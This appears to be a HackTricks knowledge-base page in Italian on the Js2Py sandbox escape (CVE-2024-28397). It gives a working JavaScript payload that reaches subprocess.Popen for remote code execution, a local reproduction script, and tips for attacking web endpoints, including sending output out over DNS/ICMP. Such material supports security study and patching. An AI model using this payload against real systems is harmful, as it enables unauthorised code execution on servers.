Js2Py sandbox escape (CVE-2024-28397)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Js2Py traduce JavaScript in oggetti Python, quindi anche quando js2py.disable_pyimport() viene usato, JS non fidato può attraversare gli internals di Python per raggiungere classi pericolose come subprocess.Popen. Le versioni 20.74 consentono di abusare delle primitive di reflection di Python che Js2Py espone agli oggetti JS per ottenere RCE da JavaScript altrimenti “sandboxed”.

Primitiva: pivot dai wrapper di oggetti JS agli oggetti Python

  1. Ottieni un oggetto backed da Python: Object.getOwnPropertyNames({}) restituisce un oggetto dict_keys nello spazio Python.
  2. Recupera l’accesso agli attributi: prendi .__getattribute__ da quell’oggetto e chiamalo per leggere attributi arbitrari (es., "__class__").
  3. Salire fino a object: da <class 'dict_keys'> leggi .__base__ per raggiungere il object di base di Python.
  4. Enumera le classi caricate: chiama object.__subclasses__() per attraversare ogni classe già caricata nell’interprete.
  5. Trova subprocess.Popen: cerca ricorsivamente nelle sottoclassi dove __module__ == "subprocess" e __name__ == "Popen".
  6. Esegui un comando: istanzia Popen con argomenti controllati dall’attaccante e invoca .communicate() per catturare l’output.
Esempio di payload che abusa di Js2Py per raggiungere subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Perché questo funziona: Js2Py espone wrapper di oggetti Python a JS senza rimuovere `__getattribute__`, `__class__`, `__base__` o `__subclasses__`. `disable_pyimport()` blocca solo gli `pyimport` espliciti, ma la catena sopra non importa nulla di nuovo; riutilizza moduli e classi già caricati in memoria.

## Riprodurre la catena localmente
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Operare contro i sandbox web

  • Qualsiasi endpoint che fornisce JS controllato dall’attaccante a js2py.eval_js (per esempio, un’API Flask /run_code) porta immediatamente a RCE se l’utente del processo ha accesso alla shell.
  • Restituire jsonify({'result': result}) fallirà quando .communicate() restituisce bytes; decodificare o inviare direttamente l’output via DNS/ICMP per evitare blocchi di serializzazione.
  • disable_pyimport() non mitiga questa catena; è necessario un isolamento forte (processo/container separato) o rimuovere l’esecuzione con Js2Py di codice non attendibile.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks